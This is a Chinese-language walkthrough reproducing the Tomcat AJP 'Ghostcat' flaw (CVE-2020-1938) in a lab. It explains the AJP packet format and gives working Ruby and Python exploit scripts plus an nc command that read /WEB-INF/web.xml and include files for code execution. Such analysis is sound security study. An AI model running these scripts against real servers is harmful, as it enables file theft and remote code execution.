作者: xax007@知道創宇404 ScanV安全服務團隊
作者博客:https://xax007.github.io/2020/02/25/Apache-Tomcat-AJP-LFI-and-LCE-CVE-2020-1938-Walkthrough.html

看到CVE-2020-1938:Tomcat AJP 文件包含漏洞分析文章決定參考漏洞代碼的同時從 AJP 協議入手重現此漏洞

通過鏈接中的文章可知本次漏洞產生的原因是:

由于 Tomcat 在處理 AJP 請求時,未對請求做任何驗證, 通過設置 AJP 連接器封裝的 request 對象的屬性, 導致產生任意文件讀取漏洞和代碼執行漏洞

設置 request 對象的那幾個屬性呢? 下面這三個:

  • javax.servlet.include.request_uri
  • javax.servlet.include.path_info
  • javax.servlet.include.servlet_path

也就是說我們只要構造 AJP 請求, 在請求是定義這三個屬性就可以觸發此漏洞

此前了解到 Apache HTTP Server 可反向代理 AJP 協議,因此決定從此處入手.

搭建 Apache Tomcat 服務

首先從官網下載了存在漏洞的版本 apache-tomcat-9.0.30, 并在 Ubuntu Server 18.04 虛擬機中運行

unzip apache-tomcat-9.0.30.zip
cd apache-tomcat-9.0.30/bin
chmod +x *.sh
./startup.sh

Tomcat 啟動以后可以發現系統多監聽了三個端口, 8050, 8080, 8009

netstat -tln show new 3 open ports: 8050 8080 8009

通過查看 Tomcat 目錄下的 conf/server.xml 文件可以看到以下兩行(多余內容已省略)

...
<Connector port="8080" protocol="HTTP/1.1"
...
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
...

從這兩行可以看出定義了 8080 端口上 是 HTTP 協議, 而 8009 端口就是本篇的主角 AJP協議的通信接口

HTTP協議: 連接器監聽 8080 端口,負責建立HTTP連接。在通過瀏覽器訪問 Tomcat 服務器的Web應用時,使用的就是這個連接器。  
AJP協議: 連接器監聽 8009 端口,負責和其他的HTTP服務器建立連接。Tomcat 與其他HTTP服務器集成時,就需要用到這個連接器。

Apache HTTP Server 的 mod-jk 模塊可以對 AJP 協議進行反向代理,因此開始配置 Kali Linux 里的 Apache HTTP Server.

安裝apache http server的模塊依賴

首先為了讓 Apache HTTP Server 能反向代理 AJP 協議安裝 mod-jk

apt install libapache2-mod-jk
a2enmod proxy_ajp

配置 Apache HTTP Server

在 Kali linux 的 /etc/apache2/sites-enabled/ 目錄新建一個文件, 文件名隨意, 例如新建一個叫 ajp.conf 的文件, 內容如下

ProxyRequests Off
# Only allow localhost to proxy requests
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
#  體現下面的IP地位為搭建好的 tomcat 的 IP 地址
ProxyPass                 / ajp://192.168.109.134:8009/
ProxyPassReverse    / ajp://192.168.109.134:8009/

重啟 Apache

systemctl start apache2

此時把虛擬機的 192.168.109.134 的 8009 通過 Apache 反向代理到了本機的 80 端口

在 Kali Linux 中開啟 wireshark 抓包并配置顯示過濾條件為 ajp13, 此條件下 wireshark 會只抓取到的 AJP 協議的包, 但為了僅看到想到的數據包, 進一步設置顯示過濾條件為 ajp13.method == 0x02

set wireshark protocol display filter to ajp13.method == 0x02

配置好 wireshark 以后, 打開瀏覽器訪問 127.0.0.1 可以發現雖然訪問的是本地回環地址,但實際上訪問的是在上面配置的Apache Tomcat, 查看 Wireshark 可以看到它已經抓取我們此次請求的數據包

wireshark captured ajp request packet

從上面的截圖中可以看到 Wireshark 能夠解析 AJP 協議

深入淺出 AJP 協議

AJP協議全稱為 Apache JServ Protocol 目前最新的版本為 1.3

AJP協議是一個二進制的TCP傳輸協議,相比HTTP這種純文本的協議來說,效率和性能更高,也做了很多優化。因為是二進制協議,所以瀏覽器并不能直接支持 AJP13 協議

本問重點分析與本次漏洞有關的 AJP13_FORWARD_REQUEST 請求格式, 分析 wireshark 抓取到的數據包后理解格式并構造特定數據包進行漏洞利用

關于 AJP 協議的更多信息請查看 官方文檔

Apache JServ Protocol(AJP) 協議的 AJP13_FORWARD_REQUEST 請求通過分析數據化分析出由以下幾個部分組成

AJP MAGIC (1234) AJP DATA LENGTH AJP DATA AJP END (ff)

在 Wireshark 中選中上面截圖中的 REQ:GET 包的AJP協議部分, 右鍵選擇 copy -> ... as a Hex Stram 粘貼在任意位置查看, 我的數據包如下

copy packet as hex stream

1234016302020008485454502f312e310000012f0000093132372e302e302e310000096c6f63616c686f73740000093132372e302e302e31000050000007a00b00093132372e302e302e3100a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a36382e3029204765636b6f2f32303130303130312046697265666f782f36382e3000a001003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e3800a004000e656e2d55532c656e3b713d302e3500a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d526571756573747300000131000a000f414a505f52454d4f54455f504f52540000053539303538000a000e414a505f4c4f43414c5f414444520000093132372e302e302e3100ff

按照上文中的格式:

  • 前四個字節 1234AJP MAGIC
  • 0163AJP DATA LENGTH ,這個值是怎么來的呢?

用 python 代碼可以計算出 AJP DATA LENGTH 為: 完整的數據包去掉 AJP MAGIC 和最后的 0xff 結束標志之前的數據長度,也就是下圖中選中部分數據的長度

python code: hex(len(binascii.unhexlify(packet)[2:-2]))

我們需要關注的是第三章圖最后兩行,也就是下面這兩行

AJP_REMOTE_PORT: 59058
AJP_LOCAL_ADDR: 127.0.0.1

在 Wireshark 中復制(選中該行右鍵copy-> as hex stream) 出 16 進制字符串為:

0a000f414a505f52454d4f54455f504f5254000005353930353800       # AJP_REMOTE_PORT: 59058
0a000e414a505f4c4f43414c5f414444520000093132372e302e302e3100 # AJP_LOCAL_ADDR: 127.0.0.1

這些字符串怎么構造的呢?

0a00request_header的標志, 表示后面的數據是 request_header. 在官方文檔有寫 0frequest_header 的長度

header1 = '0a000f414a505f52454d4f54455f504f5254000005353930353800' hex(len(binascii.unhexlify(b'414a505f52454d4f54455f504f5254')))414a505f52454d4f54455f504f5254AJP_REMOTE_PORT

0000 用來分割請求頭名稱和值

05353930353859058 的 16 進制 00 表示結束

關鍵的字節是怎么構造的已經明白了, 那現在只要把 Wireshark 中抓取到的數據包修改一下, 把

AJP_REMOTE_PORT: 59058
AJP_LOCAL_ADDR: 127.0.0.1

按照二進制數據格式替換成

javax.servlet.include.request_uri: /WEB-INF/web.xml
javax.servlet.include.path_info: web.xml
javax.servlet.include.servlet_path: /WEB-INF/

在修改 AJP DATA LENGTH 為正確的大小即可

因此編寫了代碼構造了原始請求的 16 進制數據然后通過 nc 發送成功觸發漏洞

ruby 版

AJP_MAGIC = '1234'
AJP_REQUEST_HEADER = '02020008485454502f312e310000012f0000093132372e302e302e310000096c6f63616c686f73740000093132372e302e302e31000050000007a00b00093132372e302e302e3100a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a36382e3029204765636b6f2f32303130303130312046697265666f782f36382e3000a001003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e3800a004000e656e2d55532c656e3b713d302e3500a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d52657175657374730000013100'

def pack_attr(s)
    ## return len(s) + unhex(s)
    return s.length.to_s(16).to_s.rjust(2, "0") + s.unpack("H*")[0]
end

attribute = Hash[
    'javax.servlet.include.request_uri' => '/WEB-INF/web.xml',
    'javax.servlet.include.path_info' => 'web.xml',
    'javax.servlet.include.servlet_path' => '/WEB-INF/']


req_attribute = ""
attribute.each do |key, value|
    req_attribute += '0a00' + pack_attr(key) + '0000' + pack_attr(value) + '00'
end

AJP_DATA = AJP_REQUEST_HEADER + req_attribute + 'ff'
AJP_DATA_LENGTH = (AJP_DATA.length / 2).to_s(16).to_s.rjust(4, "0")
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH + AJP_DATA

puts AJP_FORWARD_REQUEST

python版

import binascii

AJP_MAGIC = '1234'.encode()

AJP_HEADER = b'02020008485454502f312e310000062f312e7478740000093132372e302e302e310000096c6f63616c686f73740000093132372e302e302e31000050000007a00b00093132372e302e302e3100a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a36382e3029204765636b6f2f32303130303130312046697265666f782f36382e3000a001003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e3800a004000e656e2d55532c656e3b713d302e3500a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d52657175657374730000013100'

def unhex(hex):
    return binascii.unhexlify(hex)
def pack_attr(attr):
    attr_length = hex(len(attr))[2:].encode().zfill(2)
    return attr_length + binascii.hexlify(attr.encode())

attribute = {
    'javax.servlet.include.request_uri': '/WEB-INF/web.xml',
    'javax.servlet.include.path_info': 'web.xml',
    'javax.servlet.include.servlet_path': '/WEB-INF/',
}

req_attribute = b''
for key,value in attribute.items():
    key_length = hex(len(key))[2:].encode().zfill(2)
    value_length = hex(len(value))[2:].encode().zfill(2)
    req_attribute += b'0a00' + pack_attr(key) + b'0000' + pack_attr(value) + b'00'


AJP_DATA = AJP_HEADER + req_attribute + b'ff'
AJP_DATA_LENGTH = hex(len(binascii.unhexlify(AJP_DATA)))[2:].zfill(4)
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH.encode() + AJP_DATA
print(AJP_FORWARD_REQUEST)

測試一下

ruby ajp-exp.rb | xxd -r -p | nc -v 172.16.19.171 8009

img

BINGO!

成功讀取 /WEB-INF/web.xml 文件的源碼

那現在怎么執行代碼?

在 Tomcat webapps/ROOT 目錄下新建一個文件 1.txt

然后構造那三個屬性修改值為:

javax.servlet.include.request_uri: /1.txt
javax.servlet.include.path_info: 1.txt
javax.servlet.include.servlet_path: /

在測試一下

ruby ajp-exp.rb | xxd -r -p | nc -v 172.16.19.171 8009

img

BINGO AGAIN

參考鏈接

  1. https://tomcat.apache.org/connectors-doc-archive/jk2/common/AJPv13.html

  2. https://gist.github.com/xax007/97e999403baec32c84a666e6fe261072

  3. https://ionize.com.au/exploiting-apache-tomcat-port-8009-using-apache-jserv-protocol/


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1147/